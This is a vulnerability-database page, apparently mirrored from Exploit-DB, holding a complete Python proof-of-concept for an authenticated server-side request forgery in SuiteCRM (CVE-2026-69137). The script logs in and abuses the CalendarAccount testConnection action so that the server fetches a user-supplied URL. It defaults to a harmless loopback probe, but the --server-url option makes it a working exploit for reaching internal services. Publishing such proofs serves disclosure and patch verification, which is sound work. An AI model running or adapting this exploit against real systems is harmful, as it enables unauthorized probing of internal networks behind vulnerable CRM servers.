Lucene search
+L

SuiteCRM 8.10.1 - Authenticated SSRF

🗓️ 01 Oct 2026 00:00:00Reported by Max GabrielType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 13 Views

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-69137
28 Sep 202616:33
–githubexploit
circl
Circl
CVE-2026-69137
28 Sep 202617:05
–circl
cve
CVE
CVE-2026-69137
28 Sep 202617:05
–cve
ptsecurity
Positive Technologies
PT-2026-104587
3 Oct 202600:00
–ptsecurity
# Exploit Title: SuiteCRM  8.10.1 - Authenticated SSRF
# Exploit Author: Max Gabriel (https://github.com/EntroVyx)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/SuiteCRM/SuiteCRM
# Version: <= 7.15.1, <= 8.10.1
# Tested on: SuiteCRM 7.15.1, Apache 2.4, PHP 8.1, MariaDB 10.6
# CVE: CVE-2026-69137
# Advisory: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
#
# Usage:
#   python CVE-2026-69137.py -u https://suitecrm.example -U user -P password
#   python CVE-2026-69137.py -u https://suitecrm.example --cookie 'PHPSESSID=value' \
#       --server-url http://127.0.0.1:8080/
#
# The default destination is 127.0.0.1:1. It is a closed loopback port probe that
# demonstrates the vulnerable server-side request path without requesting a service.
# Use --server-url only on systems and destinations you are authorized to test.
"""

import argparse
import http.cookiejar
import json
import ssl
import sys
from typing import Optional
from urllib.error import HTTPError, URLError
from urllib.parse import urlencode, urljoin, urlparse
from urllib.request import HTTPCookieProcessor, Request, build_opener


DEFAULT_SERVER_URL = "http://127.0.0.1:1/"
USER_AGENT = "CVE-2026-69137-POC/1.0"


def base_url(value: str) -> str:
    """Validate and normalize the SuiteCRM base URL."""
    parsed = urlparse(value)
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise argparse.ArgumentTypeError("target URL must include http(s):// and a host")
    return value.rstrip("/") + "/"


def response_body(response) -> tuple[int, str, str]:
    """Return status, content type, and a decoded response body."""
    status = getattr(response, "status", response.getcode())
    content_type = response.headers.get("Content-Type", "")
    raw = response.read()
    charset = response.headers.get_content_charset() or "utf-8"
    return status, content_type, raw.decode(charset, errors="replace")


def make_opener(insecure: bool):
    jar = http.cookiejar.CookieJar()
    handlers = [HTTPCookieProcessor(jar)]
    if insecure:
        handlers.append(ssl.HTTPSHandler(context=ssl._create_unverified_context()))
    return build_opener(*handlers)


def post(opener, endpoint: str, values: dict[str, str], cookie: Optional[str], timeout: int):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": USER_AGENT,
    }
    if cookie:
        headers["Cookie"] = cookie
    request = Request(
        endpoint,
        data=urlencode(values).encode("utf-8"),
        headers=headers,
        method="POST",
    )
    return opener.open(request, timeout=timeout)


def login(opener, endpoint: str, username: str, password: str, timeout: int) -> None:
    """Create a SuiteCRM legacy session using the normal Users/Authenticate action."""
    values = {
        "module": "Users",
        "action": "Authenticate",
        "user_name": username,
        "username_password": password,
    }
    try:
        response = post(opener, endpoint, values, None, timeout)
        response.read()
    except (HTTPError, URLError) as error:
        raise RuntimeError(f"login request failed: {error}") from error


def parse_result(status: int, content_type: str, body: str) -> int:
    """Print a concise result and return a process exit code."""
    try:
        payload = json.loads(body)
    except json.JSONDecodeError:
        print("[-] The endpoint did not return JSON. Authentication may have failed.")
        print(f"    HTTP {status}; Content-Type: {content_type or 'unknown'}")
        return 2

    message = str(payload.get("message", ""))
    data = payload.get("data") if isinstance(payload.get("data"), dict) else {}
    error_code = payload.get("error_code", "")

    if error_code == "INVALID_ARGUMENT" and "not allowed" in message.lower():
        print("[+] Target rejected the supplied URL; the SSRF fix appears to be present.")
        return 0

    if error_code == "CONNECTION_TEST_FAILED" or data.get("success") is True:
        print("[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.")
        if message:
            print(f"    Server message: {message}")
        if data.get("success") is True:
            print("    The supplied endpoint returned a successful CalDAV response.")
        return 1

    print("[?] The endpoint returned an unexpected JSON response.")
    print(json.dumps(payload, indent=2, ensure_ascii=False))
    return 3


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated proof of concept for SuiteCRM CVE-2026-69137."
    )
    parser.add_argument("-u", "--url", required=True, type=base_url, help="SuiteCRM base URL")
    auth = parser.add_mutually_exclusive_group(required=True)
    auth.add_argument("--cookie", help="authenticated SuiteCRM Cookie header value")
    auth.add_argument("-U", "--username", help="SuiteCRM username")
    parser.add_argument("-P", "--password", help="SuiteCRM password; required with --username")
    parser.add_argument(
        "--server-url",
        default=DEFAULT_SERVER_URL,
        help=f"URL fetched by SuiteCRM (default: {DEFAULT_SERVER_URL})",
    )
    parser.add_argument("--timeout", type=int, default=35, help="HTTP timeout in seconds (default: 35)")
    parser.add_argument("-k", "--insecure", action="store_true", help="do not verify target TLS certificate")
    args = parser.parse_args()

    if args.username and not args.password:
        parser.error("--password is required when --username is used")
    if args.timeout <= 0:
        parser.error("--timeout must be greater than zero")

    endpoint = urljoin(args.url, "index.php")
    opener = make_opener(args.insecure)

    try:
        if args.username:
            print("[*] Authenticating with SuiteCRM legacy login...")
            login(opener, endpoint, args.username, args.password, args.timeout)

        print(f"[*] Sending testConnection request with server_url={args.server_url}")
        values = {
            "module": "CalendarAccount",
            "action": "testConnection",
            "source": "caldav_basic",
            "username": "probe",
            "password": "probe",
            "server_url": args.server_url,
        }
        response = post(opener, endpoint, values, args.cookie, args.timeout)
        status, content_type, body = response_body(response)
    except HTTPError as error:
        status, content_type, body = response_body(error)
    except (URLError, OSError) as error:
        print(f"[-] Request failed: {error}")
        return 2

    return parse_result(status, content_type, body)


if __name__ == "__main__":
    sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
13